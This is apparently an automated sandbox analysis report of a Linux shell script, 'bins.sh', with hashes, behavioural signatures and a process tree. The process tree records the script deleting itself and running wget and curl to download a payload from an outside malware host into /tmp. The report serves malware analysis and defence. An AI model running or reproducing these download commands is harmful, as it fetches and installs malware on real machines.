Analysis

  • max time kernel
    148s
  • max time network
    116s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/02/2025, 14:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250212-rlq6lsvmep
  • SHA256 9c31af54755c806ba2a6ca6be76f4a977073dee261c317d46baeb7bb7713e9b3
  • MD5 SHA1 SHA512 SSDEEP
Score
4/10

Malware Config

Signatures

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:675

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb

            • Path /tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
            • Size 177KB
            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
            • MD5 SHA1 SHA512 SSDEEP

            mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb

            • Path /tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
            • Size 8KB
            • SHA256 7343c436d7220e3b0ac362755369d2f08c7292d936e6d8999728a4fbe02342f3
            • MD5 SHA1 SHA512 SSDEEP